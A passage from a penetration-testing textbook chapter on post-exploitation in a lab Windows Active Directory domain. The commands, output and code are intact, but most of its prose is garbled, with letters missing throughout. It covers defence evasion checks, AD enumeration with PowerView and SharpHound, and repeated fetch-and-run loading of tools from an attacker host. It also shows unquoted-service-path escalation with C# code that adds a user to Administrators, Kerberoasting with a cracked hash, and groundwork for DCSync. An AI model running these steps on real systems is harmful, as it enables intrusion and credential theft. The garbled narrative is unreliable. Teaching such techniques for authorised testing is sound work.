as AMSI povids. Wh w look up h CLSIDs i h Classs CLSID gisy, w s
ha h CLSID ha ds i 7AFE is a povid fo Widows Dfd. By quyig h
CLSIDs ha hav gisd as AMSI povids, w ca ll if ayhig is usig AMSI.
Sic w do g a sul (i his cas, Widows Dfd), ha mas AMSI is abld.
Nx, l’s chck o s wha policis migh b i plac. Policis such as ScipBlockLog-
gig, which will log h cos of h commads ha w u, ModulLoggig, which
will log h moduls ha PowShll loads, ad TascipioLoggig, which will log vy-
hig ha happs i a sssio ad h oupu sigs o a fil ca giv away ou psc.
Chapter 17: Post-Exploitation in Modern Windows Environments
349
Wh w chck fo hs, w ca s upfo wha is saf o u ad wha w d o s
up bypasss fo:
PS C: > ls HKLM:\Software\Policies\Microsoft\Windows\Powershell -ErrorA Ignore
PS C:\Users\target>
Wh w u h commad, w do’ g ay ifomaio back. This is a good idica-
io ha h a’ ay spcial loggig sigs s ad ha h dfaul opios a big
usd. If gisy kys did xis i his locaio, w would hav o dmi which os
w s, bu h safs hig o do a his poi would b ih a dowgad aack usig
PowShll 2.0 o a bypass chiqu.
To dmi if w ca dowgad, l’s chck o s wha PowShll vsios a
isalld:
PS C:\Users\target> Get-ItemProperty
PART III
HKLM:\Software\Microsoft\PowerShell\*\PowerShellEngine |
>> select PowerShellVersion
PowerShellVersion
-----------------
2.0
5.1.14393.0
W ca s ha vsio 2.0 ad 5.1 of h gis a isalld. I od fo
PowShll 2.0 o wok, hough, w also d o mak su h is a .NET uim
isalld fo vsio 2. Th uim w d o look fo is v2.0.50727, which w ca
do i h Micosof.N fold i h Widows dicoy:
PS C:\Users\target> gci -include system.dll -recur
$env:windir\Microsoft.Net\Framework\v*
Directory: C:\Windows\Microsoft.Net\Framework\v4.0.30319
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/2/2020 4:03 PM 3556616 System.dll
W ca s ha h oly locaio ha has a valid sysm.dll o load, which mas
ha i’s h oly full isall, is v4 of h famwok. This mas w ca’ dowgad
o vsio 2.0 o skip loggig. If loggig w abld, w would d o us a bypass
chiqu o disabl hm.
Now ha w kow addiioal co will o igg loggig-basd dcios, l’s
ak a look a som of h bas ifomaio abou h opaig sysm. To viw ifoma-
io abou h compu islf, w ca us h Get-ComputerInfo cmdl. I has a lo of
daa, bu l’s look a h Widows ifomaio fis:
PS C:\Users\target> Get-ComputerInfo -Prop Windows*
WindowsBuildLabEx : 14393.4104.amd64fre.rs1_release.201202-1742
WindowsCurrentVersion : 6.3
WindowsEditionId : ServerDatacenter
WindowsInstallationType : Server
WindowsInstallDateFromRegistry : 8/1/2021 11:44:04 PM
WindowsProductId : 00376-40000-00000-AA753
WindowsProductName : Windows Server 2016 Datacenter
WindowsRegisteredOrganization : Amazon.com
WindowsRegisteredOwner : EC2
WindowsSystemRoot : C:\Windows
Gray Hat Hacking: The Ethical Hacker’s Handbook
350
This shows us ha w a usig Widows 2016 Daac mod ad a gisd o
Amazo EC2. W also hav h isall da of h sysm ad wh h Widows dic-
oy is locad. This givs us a bi of siuaioal awass bcaus w kow ha w a
i h cloud basd o his, ad o a a o-pmiss locaio.
Aoh hig w will wa o chck is whh o o DvicGuad is abld.
DvicGuad is a Widows fau ha hlps pv malwa by suig ha oly
kow-good cod ca u o h sysm. This mas ha ay cod w xcu will hav
o b livig-off-h-lad biais (LOLBis). Luckily, h Get-ComputerInfo cmdl
ca hlp us agai:
PS C:\Users\target> Get-ComputerInfo -Property DeviceG*
DeviceGuardSmartStatus : Off
DeviceGuardRequiredSecurityProperties :
DeviceGuardAvailableSecurityProperties :
DeviceGuardSecurityServicesConfigured :
DeviceGuardSecurityServicesRunning :
DeviceGuardCodeIntegrityPolicyEnforcementStatus :
DeviceGuardUserModeCodeIntegrityPolicyEnforcementStatus :
W s ha DvicGuad is off, so if w ca bypass AV, w should b abl o g o-
aiv biais o u o h sysm.
Now ha w hav som awass of wha w ca ad ca’ g away wih, l’s g
som mo ifomaio wih Sabl.
Sabl ca also gah ifomaio abou hos cofiguaio opios. Th issus w
fquly ca abou a som of h os covd pviously, such as PowShll co-
figuaios, AMSI saus, OS ifomaio, ad cofiguaio. Howv, w also wa o
kow abou wha dfsiv cools a abld, ay isig pocsss uig, logi
sssios ps so ha w kow if w a’ alo o h sysm, ad oh aas ha
Sabl dmis may hav isig daa.
Bfo, w a h us goup of commads. This im w will u h sysm goup
of commads:
PS C:\Users\target> Invoke-Seatbelt -Command '-group=system -q'
====== AMSIProviders ======
GUID : {2781761E-28E0-4109-99FE-B9D127C57AFE}
ProviderPath : "C:\ProgramData\Microsoft\Windows
Defender\Platform\4.18.2107.4-0\MpOav.dll"
====== AntiVirus ======
Cannot enumerate antivirus. root\SecurityCenter2 WMI namespace is not
available on Windows Servers
====== AppLocker ======
[*] AppIDSvc service is Stopped
[*] Applocker is not running because the AppIDSvc is not running
[*] AppLocker not configured
====== ARPTable ======
<snipped>
Chapter 17: Post-Exploitation in Modern Windows Environments
351
W s a lo of daa h abou h sa of h sysm, som of which w’v s
alady wihou Sabl. Howv, Sabl povids his ifomaio all i o plac
isad of quiig us o dig io diff locaios wih PowShll.
W ca also look a spcific ims. O aspc ha is hlpful o kow abou a sysm
is whh o o UsAccouCool (UAC) is abld ad wha h sigs fo i a.
This will hlp us idify whh o o pivilgd uss qui ay addiioal bypasss
o xcu cod, such as addig svics o uss o scalaig o sysm:
PS C:\Users\target> Invoke-Seatbelt -Command 'UAC -q'
====== UAC ======
ConsentPromptBehaviorAdmin : 5 - PromptForNonWindowsBinaries
EnableLUA (Is UAC enabled?) : 1
LocalAccountTokenFilterPolicy : 1
FilterAdministratorToken : 0
[*] LocalAccountTokenFilterPolicy == 1. Any administrative local account
can be used for lateral movement.
PART III
W s ha ha UAC is abld. If somo is o u a o-Widows biay,
Widows will pomp h us o allow h biay o u. If w w usig a C2 chal
o accss his sysm, w would’ b abl o s hs pomps. This lls us w d o
fid a way o scala pivilgs o avoid big pompd.
Now ha w hav som udsadig abou wha h hos posu is, l’s ak a look
o dmi wh w a i Aciv Dicoy.
Domain Recon
Almos all sysms ha a pa of a pis viom will b pa of Aciv Dic-
oy (AD). AD is a dicoy svic ha kps ack of uss, goups, compus, poli-
cis, sis, ogaizaioal sucus, ad mo. Each objc has aibus ad scuiy
ifomaio ha dfis h objc ad who ca iac wih i. This dicoy is h
basis fo AD Domais (goupigs of hs objcs kp o a s of svs) ad Foss
(mulipl domais ha hav iopabiliy ad us laioships bw hm).
TIP Active Directory (AD) has a lot of components and can be difficult to
understand. If you are unfamiliar with AD, Microsoft has a good reference for
getting started: https://docs.microsoft.com/en-us/windows-server/identity/
ad-ds/get-started/virtual-dc/active-directory-domain-services-overview.
Once you are familiar with some of the basics, come back and we’ll dig
deeper into how to interact with AD through PowerShell and other tools.
Wh w g io a viom, w d o kow a fw impoa higs. W d
o kow who w a wihi h viom ad wha ou goups a. W also d o
kow who h admiisaos a. W migh wa o kow abou how big h vio-
m is, whh o o i’s dividd io sis, ad wha h ogaizaioal sucu looks
lik. Fially, w may wa o kow wha Goup Policy Objcs (GPOs) xis ad wh
hy a likd. Ths ims will giv us a b udsadig of how h AD Domai
is s up ad wh w migh wa o look fo scalaio ad psisc opios.
Gray Hat Hacking: The Ethical Hacker’s Handbook
352
W d o kow h basics of h domai. W saw som of his fom h us ad com-
pu pofilig ali i h chap. Whil h ActiveDirectory PowShll modul ca
b hlpful, i is fquly o isalld, so l’s ak a look a how o do his usig h
Aciv Dicoy Svic Ifac APIs wihi PowShll. Ths APIs a availabl o all
Widows sysms ad wo’ qui isallig addiioal moduls ha migh giv us away.
To bgi wih, l’s ak a look a h domai ifomaio:
PS C:\Users\target> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Forest : ghh.local
DomainControllers : {EC2AMAZ-TBKC0DJ.ghh.local}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : EC2AMAZ-TBKC0DJ.ghh.local
RidRoleOwner : EC2AMAZ-TBKC0DJ.ghh.local
InfrastructureRoleOwner : EC2AMAZ-TBKC0DJ.ghh.local
Name : ghh.local
W ca s a fw pics of ciical daa h. Th am of h domai is ghh.local,
ad o domai cooll (DC) is lisd as wll, EC2AMAZ-TBKC0DJ.ghh.local. Th
DomaiModLvl is 7, which cospods o Widows 2016 fucioal lvl. Th
fucioal lvl is impoa bcaus scuiy faus may wok diffly a diff
fucioal lvls.
Nx, l’s ak h ifomaio w go fom h whoami /user commad ad look a
wha ifomaio is i AD abou ou us:
PS C:\Users\target> whoami /fqdn
CN=target,CN=Users,DC=ghh,DC=local
PS C:\Users\target> [adsi]"LDAP://CN=target,CN=Users,DC=ghh,DC=local" |
>> select cn,memberof,sAMAccountName,managedObjects | fl
cn : {target}
memberof : {CN=RA-sto-distlist,OU=T2-Roles,OU=Tier
2,OU=Admin,DC=ghh,DC=local,
CN=AL-Yim-admingroup,OU=Devices,OU=BDE,OU=Tier
2,DC=ghh,DC=local,
CN=GI-ENA-distlist,OU=AZR,OU=People,DC=ghh,DC=local,
CN=DE-con-distlist,OU=Test,OU=GOO,OU=Tier 2,DC=ghh,DC=local...}
sAMAccountName : {target}
managedObjects : {CN=GA-majaivars-distlist,OU=ServiceAccounts,OU=GOO,OU=Stage,DC
=ghh,DC=local, CN=VI-sam-distlist,OU=Test,OU=FIN,OU=Tier
1,DC=ghh,DC=local,
CN=VI-ang-distlist,OU=TST,OU=Stage,DC=ghh,DC=local,
CN=CH-jua-admingroup,OU=AZR,OU=Tier 2,DC=ghh,DC=local...}
Fom hs suls, w ca s h goups ou us is pa of as wll as h objcs h
us maags. Ths will giv us som addiioal isigh abou h yps of higs h
us has b giv pmissio o basd o hi goup mmbships, ad h objcs
hy maag hlp idify h accss hy ca povisio fo oh accous.
Wih a basic udsadig of ou us ad h domai popis, l’s look dp
a h layou by gig a lis of h Ogaizaioal Uis (OUs) ha mak up AD.
Chapter 17: Post-Exploitation in Modern Windows Environments
353
Ths a fquly dscipiv ad will hlp us udsad wh o look fo is-
ig objcs.
PS C:\Users\target> $Domain = New-Object System.DirectoryServices.DirectoryEntry
>> $Searcher = New-Object System.DirectoryServices.DirectorySearcher
>> $Searcher.SearchRoot = $Domain
>> $Searcher.PropertiesToLoad.Add("distinguishedName") | Out-Null
>> $Searcher.Filter = "(objectCategory=organizationalUnit)"
>> $OUs = $Searcher.FindAll()
>> $OUs | %{ $_.Properties["distinguishedName"]} | select -first 5
OU=Domain Controllers,DC=ghh,DC=local
OU=Admin,DC=ghh,DC=local
OU=Tier 0,OU=Admin,DC=ghh,DC=local
OU=T0-Accounts,OU=Tier 0,OU=Admin,DC=ghh,DC=local
OU=T0-Servers,OU=Tier 0,OU=Admin,DC=ghh,DC=local
Fom h w s h buil-i Domai Coolls OU, bu w also s a umb of
Admi OUs ad sd OUs ud hos. Ths a higs w would ypically wa o
PART III
udsad b. L’s look a h oo of h Admi OUs wih PowShll.
PS C:\Users\target> $ou = [adsi]"LDAP://OU=Admin,DC=ghh,DC=local"
PS C:\Users\target> $ou.ObjectSecurity.Access
>> | Where ActiveDirectoryRights -like "*GenericAll*"
>> | Select IdentityReference, AccessControlType,ActiveDirectoryrights
>> | fl
IdentityReference : NT AUTHORITY\SYSTEM
AccessControlType : Allow
ActiveDirectoryRights : GenericAll
IdentityReference : GHH\SC-266-distlist
AccessControlType : Allow
ActiveDirectoryRights : GenericAll
W ca s ha i addiio o Domai Admis ad SYSTEM, h SC-266-dislis
goup also has ighs o his goup. So, if w ca fid a us i ha goup, w could us
ha us o maipula objcs i ha OU. L’s s who is i ha goup:
PS C:\Users\target> ➊$Domain = New-Object System.DirectoryServices.DirectoryEntry
>> ➋$Searcher = New-Object System.DirectoryServices.DirectorySearcher
>> $Searcher.SearchRoot = $Domain
>> ➌$Searcher.Filter = "(&(objectCategory=group)(cn=SC-266-distlist))"
>> $group = $Searcher.FindOne()
PS C:\Users\target> ➍$group.Properties["member"]
CN=KA-mat-admingroup,OU=ServiceAccounts,OU=OGC,OU=Tier 1,DC=ghh,DC=local
CN=EVA_SHAW,OU=T2-Permissions,OU=Tier 2,OU=Admin,DC=ghh,DC=local
CN=LAUREL_MANNING,OU=AZR,OU=Stage,DC=ghh,DC=local
CN=KATRINA_COTTON,OU=ServiceAccounts,OU=TST,OU=Stage,DC=ghh,DC=local
Whil PowSploi has may moduls ha a usful fo pos-xploiaio, w a goig
o focus o h PowViw modul i h Rco subdicoy. Fom ou Kali box, l’s
sa up a wb sv i h PowSploi dicoy:
┌──(kali kali)-[~]
└─$ cd PowerSploit
┌──(kali kali)-[~/PowerSploit]
└─$ sudo python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Nx, o ou ag sv, l’s load h PowViw modul. W ca do his wih a
ix/iw sag:
PS C:\Users\target> iex ( iwr http://10.0.0.40:8080/Recon/PowerView.ps1 )
Nx, l’s y som of h fucioaliy w lookd a bfo. Fis, l’s g ou domai
ifomaio:
PS C:\Users\target> Get-Domain
Forest : ghh.local
DomainControllers : {EC2AMAZ-TBKC0DJ.ghh.local}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : EC2AMAZ-TBKC0DJ.ghh.local
RidRoleOwner : EC2AMAZ-TBKC0DJ.ghh.local
InfrastructureRoleOwner : EC2AMAZ-TBKC0DJ.ghh.local
Name : ghh.local
Chapter 17: Post-Exploitation in Modern Windows Environments
355
This is h sam ifomaio w saw bfo, bu i’s much simpl. I addiio, w ca
g h OU lis, as bfo:
PS C:\Users\target> Get-DomainOU | select DistinguishedName
distinguishedname
-----------------
OU=Domain Controllers,DC=ghh,DC=local
OU=Admin,DC=ghh,DC=local
OU=Tier 0,OU=Admin,DC=ghh,DC=local
To g h accss cool lis (ACL) o h Admi OU, w ca us h
Get-DomainObjectAcl cmdl:
PS C:\Users\target> Get-DomainObjectAcl "OU=Admin,DC=ghh,DC=local"
ObjectDN : OU=Admin,DC=ghh,DC=local
ObjectSID :
ActiveDirectoryRights : DeleteChild, DeleteTree, Delete
PART III
BinaryLength : 20
AceQualifier : AccessDenied
IsCallback : False
OpaqueLength : 0
AccessMask : 65602
SecurityIdentifier : S-1-1-0
AceType : AccessDenied
Ufoualy, h SID of h us is’ solvd, ad h pmissios a sill i GUID
fom, simila o h ADSI mhod fom ali. PowViw ca hlp us cov hs o
claify ach us’s accss. L’s us h ConvertFrom-SID cmdl ad h -ResolveGuids
opio o Get-DomainObjectAcl o cla his up:
PS C:\Users\target> Get-DomainObjectAcl "OU=Admin,DC=ghh,DC=local"
>> -ResolveGUIDs |where AceType -eq "AccessAllowed" |
>> %{ (ConvertFrom-SID $_.SecurityIdentifier) + ": " + $_.ActiveDirectoryRights }
GHH\Domain Admins: GenericAll
Enterprise Domain Controllers: GenericRead
Authenticated Users: GenericRead
Local System: GenericAll
GHH\Enterprise Admins: GenericAll
GHH\GI-jul-distlist: GenericAll
GHH\BDEWWEBS1000000$: GenericAll
GHH\18-lucas1983-distlist: GenericAll
This maks adig h daa much asi. I addiio, w ca us PowViw o look
fo h uss who hav DCSyc pivilgs by gig h ACL fo who has ih All
pivilgs o plicaio pivilgs o h DN of h domai:
PS C:\Users\target> Get-ObjectACL "DC=ghh,DC=local" -ResolveGUIDs
>> | ? {($_.ActiveDirectoryRights -match 'GenericAll')
>> -or ($_.ObjectAceType -match 'Replication-Get')}
>> | where AceType -eq "AccessAllowed"
>> | %{ ConvertFrom-SID $_.SecurityIdentifier }
GHH\Enterprise Admins
GHH\GI-jul-distlist
GHH\BDEWWEBS1000000$
GHH\18-lucas1983-distlist
GHH\NE-ailime678-distlist
GHH\IR-aguilucho-distlist
Local System
Gray Hat Hacking: The Ethical Hacker’s Handbook
356
Now w kow which uss o ag o pfom a DCSyc aack. Ths a jus
a hadful of ims ha ca b sachd fo. W will look a mo i h upcomig
“Escalaio” scio of h chap.
W ca us his ifomaio o acically fid h ifomaio w wa i h domai
wihou issuig a hug umb of quis, bu o of h favoi ools fo folks o us is
BloodHoud. BloodHoud will gah os of AD ifomaio ad h l you sach
h daa i a gaph daabas viw calld No4j. Th dowsid of his is ha i issus
massiv amous of quis, ad mo mau ogaizaios look fo hs o idify
malicious i, so i’s o paiculaly OpSc saf.
A salhi way o us AD daa is o us ShapHoud o quy daa fom AD oly.
ShapHoud is a C# collco fo BloodHoud. W’ goig o us h sam PowShll
sags fo hs biais ha w did i pvious labs. O ou Kali box, go back io h
PowShapBiais dicoy ad sa h wb sv:
┌──(kali kali)-[~]
└─$ cd SharpPack/PowerSharpBinaries
┌──(kali kali)-[~/SharpPack/PowerSharpBinaries]
└─$ sudo python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Now o h Tag sysm, l’s sag his wih a ix/iw sag.
PS C:\Users\target> iex (iwr http://10.0.0.40:8080/Invoke-Sharphound3.ps1)
ShapHoud has diff collcio mhods. Th DCOly o will oly quy h
DCs, limiig h quis o sysms ha a hos usually dos’ alk o:
PS C:\Users\target> Invoke-Sharphound3 -Command "--CollectionMethod=DCOnly"
-----------------------------------------------
Initializing DanceBattle at 2:32 AM on 8/9/2021
-----------------------------------------------
Resolved Collection Methods: Group, Trusts, ACL, ObjectProps, Container,
GPOLocalGroup, DCOnly
[+] Creating Schema map for domain GHH.LOCAL using path
CN=Schema,CN=Configuration,DC=GHH,DC=LOCAL
[+] Cache File not Found: 0 Objects in cache
[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 171 MB RAM
Status: 3379 objects finished (+3379 844.75)/s -- Using 352 MB RAM
Enumeration finished in 00:00:04.7909988
Compressing data to .\20210809023238_BloodHound.zip
You can upload this file directly to the UI
DanceBattle EnumEration Completed at 2:32 AM on 8/9/2021! Happy GraPhIng!
Th ZIP fil ha is cad ca b uploadd io h BloodHoud GUI o sach daa.
Chapter 17: Post-Exploitation in Modern Windows Environments
357
TIP Neo4j can eat up a ton of memory for larger domains. While this can be
done in the cloud, using it locally will typically be faster, unless you are using
very large cloud instances. To use BloodHound to search for data, you can go
to the BloodHound documentation for installation and usage instructions at
https://bloodhound.readthedocs.io/en/latest/.
Escalation
Now ha w hav do som co of h viom, w d o look a scalaio,
boh o h local sysm ad i Aciv Dicoy. W foud ha w hav som pivilgs.
Idifyig ways w ca lva pivilgs will giv us addiioal abiliy o maipula
sysms ad AD pivilgs fo h bs chac a achig ou objcivs. Th fis ask is
o lva pivilgs o h local sysm.
PART III
Local Privilege Escalation
Fidig local pivilg scalaio xplois ca b difficul i wll-scud vioms.
Foualy, h a som ools o hlp us fid gaps. Big abl o pofil a sysm o
dmi if i is missig pachs o has cofiguaio waksss could ak sigifica
im wihou hlpful scips. W a goig o b lookig a wo ools, wiPEAS ad
ShapUp, ha ca hlp us pofil poial sysm issus.
Th wiPEAS (Pivilg Escalaio Awsom Scip) ool is a C# o bach fil ha will
pofil a Widows sysm ad amp o idify vulabiliis ha ca b abusd. W
a goig o us h PowShll wappd vsio fom h ShapPack po ha has b
clod o Kali. Wih h sam HTTP lis ha has b s up i pvious labs, w’ll
load h Ivok-wiPEAS.ps1 scip ad h ispc som of ou opios:
PS C:\Software> iex (iwr http://10.0.0.40:8080/Invoke-winPEAS.ps1 )
PS C:\Software> Invoke-winPEAS
<snipped>
[?] Windows vulns search powered by Watson(https://github.com/rasta-
mouse/Watson)
OS Build Number: 14393
[!] CVE-2019-0836 : VULNERABLE
[>] https://exploit-db.com/exploits/46718
[>] https://decoder.cloud/2019/04/29/combinig-luafv-
postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-
standard-user-to-system/
Wih h sam lis sill i plac, l’s u Ivok-ShapUp.ps1 o s wha i ca fid
(o ha w us h sam ix/iw sag w hav b usig hus fa):
PS C:\users\target> iex (iwr http://10.0.0.40:8080/Invoke-SharpUp.ps1 )
PS C:\users\target> Invoke-SharpUp audit
=== SharpUp: Running Privilege Escalation Checks ===
=== Modifiable Services ===
=== Modifiable Service Binaries ===
Name : Vulnerable Software
DisplayName : Vulnerable Software
Description : Vulnerable Software Ltd
State : Running
StartMode : Auto
PathName : C:\Software\Vulnerable Software\Updater\vulnagent.exe
W s ha h svic “Vulabl Sofwa” has a modifiabl svic biay. L’s
ak a look a h biay wih icacls.x:
PS C:\users\target>icacls 'C:\Software\Vulnerable Software\Updater\vulnagent.exe'
C:\Software\Vulnerable Software\Updater\vulnagent.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
This shows ha w do’ hav ay pivilgs o his biay. So why did ShapUp high-
ligh i? I was highlighd bcaus of a uquod svic pah. Wh Widows looks
fo biais, i will sa off yig o sach fo h biay a ach spac bak. I his cas,
i will sach fo c:\Sofwa\Vulabl.x bfo i gs o vulag.x. L’s look a
h pivilgs i h C:\Sofwa dicoy:
PS C:\users\target> icacls C:\Software\
C:\Software\ NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
W hav h abiliy o add fils ad dicois h, so w ca y o ca a vulabl
.x. L’s mak a C# applicaio o jus add ouslvs o h local Admiisaos goup.
Chapter 17: Post-Exploitation in Modern Windows Environments
359
W will ca a vulabl.cc fil i c:\pogamdaa ad h compil i. Fo h cos,
us his basic C# scip:
using System;
namespace Test{
class Program {
static void Main(string[] args){
System.Diagnostics.Process.Start("CMD.exe",
"/c net localgroup Administrators GHH\\target /add");
}}}
PART III
Now ha i is i plac, l’s y o sa ha svic:
PS C:\programdata> Get-Service "Vulnerable Software" |
>> Restart-Service -ErrorAction SilentlyContinue
WARNING: Waiting for service 'Vulnerable Software (Vulnerable Software)' to
stop...
PS C:\programdata> Get-LocalGroupMember Administrators
W a ow a mmb of h local Admiisaos goup, bu usig h commad
whoami /groups will o show i. To g h pivilgs, w d o ih log ou ad
back i, o sa a w sssio hough runas o aoh mhod. Eih way, w d
o sablish a w shll wih Admiisao pivilgs, so l’s do ha ad xplo som
scalaio acics wih Aciv Dicoy.
Somims svic accous will coai passwods i hi dscipio. This is so ha
accous ha may b usd fo quyig ifomaio o ohwis gal-pupos acivi-
is do’ hav o hav cally coodiad cdials. This is obviously o a bs
pacic, bu i dos o chag h fac ha i occus mo ha i should. To fid hs
Gray Hat Hacking: The Ethical Hacker’s Handbook
360
isacs, w will load up h PowViw modul as w did i Lab 17-6 ad sach fo
uss wih cdials i hi accou dscipio:
PS C:\programdata> Get-DomainUser | select samaccountname,description |
>> where description -like "*password*"
samaccountname description
-------------- -----------
GINGER_MCDONALD Just so I dont forget my password is
isUBKj5NEzBjMmcwa2YXT#Nzx
LORENA_VINSON Just so I dont forget my password is T36F#iaM8c4RSUXvHmSKVVY
ANDRES_ELLIS Just so I dont forget my password is
EmB!E!59Ry3fcE%zbMbKq9nhs
BadBlood will ca adom accous as pa of h AD sup fo his lab, so you
cdials may look diff ad will hav diff goups. Rgadlss of h diff-
cs, his should giv you mulipl cdials fo uss o us as scalaio pahs. If
hs uss a’ valuabl, h a oh ways o gah cdials. L’s ak a look a
Kboasig ad AS-REPoasig.
Af saig a wb sv i h PowShapBiais dicoy, as w did i Lab 17-4,
w ca load h Rubus ool. Rubus ls us pfom Kbos co ad xploiaio. I’s
wi i C#, bu w’ll us h PowShll sagd vsio fo his xcis:
PS C:\programdata> iex( iwr http://10.0.0.40:8080/Invoke-Rubeus.ps1 )
Kboasig aks advaag of h way svics hadl Kbos icks i AD.
Ths svic icks a qusd fom h Tick Gaig Sv (TGS) ad coai
ifomaio abou h us fo h svic o dmi whh o o h us should
hav accss o h svic wihou v kowig h us’s passwod. This svic ick
is cypd wih h cdials of h svic ow—ih a compu accou o a
us accou. Each svic will b idifid by a Svic Picipal Nam (SPN) i Aciv
Dicoy ha h us ca look up o idify h svic, ad wh h us quss
his ick, i dos’ hav o alk o h ag svic.
Isad, if h us xpos hs icks, hy ca b bu-focd offli wih a pass-
wod-cackig ool by uig a sampl passwod io a NTLM hash ad h yig o
dcyp h ick. If h ick dcyps, w kow ha is h valid passwod fo h s-
vic. This pocss is kow as Kerberoasting. L’s us Rubus o Kboas h domai
ad sach fo valid SPNs associad wih us accous ha w migh b abl o abus:
PS C:\programdata> Invoke-Rubeus -Com "kerberoast /outfile:C:\Programdata\h.txt"
Th hashs will ow b i h h.x fil ad ca b copid ov o Kali fo cackig.
Oc h hashs a copid ov, you ca amp o cack hm wih Joh h Ripp
Chapter 17: Post-Exploitation in Modern Windows Environments
361
ad a wodlis o h Kali box. Bcaus hs machis a lighwigh, l’s y fis wih
a vy small wodlis:
┌──(kali kali)-[~]
└─$ john h.txt --ru=KoreLogic --wo=/usr/share/legion/wordlists/ssh-password.txt
Passw+ord127 (?)
I dos’ kow wha us his gos o, so l’s chck ou Joh POT fil:
└─$ cat ~/.john/john.pot
$krb5tgs$23$*passwordadmin$ghh.local$www/password*$b9506c9dacc392e1d718fc1beaf693d
7$a2557b95757f7b5d60e02eea4e4fa45364dcc44532bba3051edb17e39aec8a1d51e3edb86c5ad4aa
6ed051ae890f0af586eacb5c6e3700f3e0d523f9497e5035e591a898777af20bf4fc27927eebf72e15
076122259b4ba6dcd522ec1793f3ef0da83a42fbdecb0df8296e756e325cf124d7c1d27b9332dee14a
aee87a6abdd3ea3732573df27145d1f1f79c1f4e939285178bbb3b2134d8ad5deb3335058aa5d9c958
46fb2bb096e569fba1f4be92d0935a5ebdc266f18df4c80e9126cbc05e54bfcdd436e526e86ad1a905
f660dae3ae64fb16f8c81f7062634e47d64f82b07d59d8a35b6d0b723dbf933b192317fb49d1034ac3
596e542234dfd23523bd462f12cdee445aafcc678225d7d47507442b958fdfd18d063b2bfe7bb083fd
PART III
b15062997febf6d7153e42f97758362898d438259252294e5b8b6309c7a4b1bc827ee0776e119c3f09
67d39012fe24eab1515e518ffff15d1257f0c8c7529422926d5ea6813d4f939846e9b6a077cd96d9fa
7dd3d56b3dcc5fc2913750651e504ac$SOURCE_HASH$1e676cc9738c89665b365b9cf5794be2:Passw
+ord127
W s ha h passwodadmi us has a passwod of Passw+od127. W will chck
his ou agai i a miu, bu, fis, l’s y h sam hig wih AS-REPoasd uss.
AS-REP is h p-auhicaio goiaio wih a Tick Gaig Sv bfo a us
ca b gad a Tick Gaig Tick (TGT). By pfomig his p-auh, ifoma-
io will b ud o h us cypd wih h qusd us’s NTLM hash, so i
ca b cackd i a simila way:
PS C:\programdata> Invoke-Rubeus -Com "asreproast /outfile:C:\Programdata\asr.txt"
Th fil will b savd similaly o h Kboasig aack ad ca b copid ov o
h Kali box fo cackig. Now ha w hav a cdial fom h Kboasig, l’s do
som co ad fid ou mo abou h us ad wha i has accss o.
To bgi wih, w wa o kow wha his passwodadmi us has fo goup mmb-
ships ad wha hos goups do. W ca us PowViw fo his:
PS C:\programdata> Get-DomainUser PasswordAdmin | select memberof
memberof
--------
CN=CloudSync Users,OU=Administrative Groups,DC=ghh,DC=local
Th CloudSyc uss goup is i a Admiisaiv OU, so his looks lik i migh
b pomisig. L’s s if w ca fid ay isig ACLs i AD wh ih ou pass-
wodadmi us o h CloudSyc Uss goup has accss. Sp 1 is o us h PowViw
Find-InterestingDomainAcl cmdl, which will sach fo isig pmissios o
Gray Hat Hacking: The Ethical Hacker’s Handbook
362
AD objcs. W wa o sav his o a vaiabl so ha w do’ hav o u i ov ad
ov bcaus i is faily im-isiv, ad h bigg h domai, h bigg h suls
will b. W also spcify h ResolveGUIDs opio so ha w ca asily ad h pmis-
sios oc h sachig is compl:
PS C:\programdata> $acls = Find-InterestingDomainAcl -ResolveGUIDs
TIP This may take a significant amount of time. This tool is looking across
all of the ACLs in the domain and resolving information for each of the
entries found.
Nx, w wa o look fo higs ha hav ou us ad goup as pa of h
IdentityReferenceName. W ca us PowShll o fil his fo us:
PS C:\programdata> $acls | %{
>> if($_.IdentityReferenceName -eq "PasswordAdmins" -or
>> $_.IdentityReferenceName -eq "CloudSync Users"){$_}}
ObjectDN : DC=ghh,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes-All
AceFlags : None
AceType : AccessAllowedObject
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-3262898812-2511208411-1049563518-4207
IdentityReferenceName : CloudSync Users
IdentityReferenceDomain : ghh.local
IdentityReferenceDN : CN=CloudSync Users,OU=Administrative
Groups,DC=ghh,DC=local
IdentityReferenceClass : group
I looks lik h CloudSyc Uss goup has h abiliy o DCSyc wih h domai.
W could log i as ha us ad pfom hos asks, o w could us Rubus o add a
TGT fo us ha will allow us o pfom a DCSyc aack wihou -auhicaig.
Nx, w op up a cmd.x widow as Admiisao usig ou w pivilgs ad
io a PowShll pomp. W d o impo ou Rubus modul agai ad h
qus a TGT. W d his lvad accss bcaus you ca’ omally ijc cdials
io a sssio wihou i.
PS C:\Windows\System32> Invoke-Rubeus -Com "asktgt /ptt /user:PasswordAdmin
/password:Passw+ord127"
<snip>
[*] Action: Ask TGT
W ow hav a TGT. Wih his lvl of cdials, w ca amp a DCSyc wih
ou PasswodAdmi cdials. To do his, w will us BSafyKaz o pfom a
Chapter 17: Post-Exploitation in Modern Windows Environments
363
DCSyc aack fo h kbg us. This will l us us a gold ick aack o gai accss
o ay accou i h domai. Fis, l’s us a ix/iw sag o load BSafyKaz:
PS C:\Windows\System32>iex(iwr http://10.0.0.40:8080/Invoke-BetterSafetyKatz.ps1)
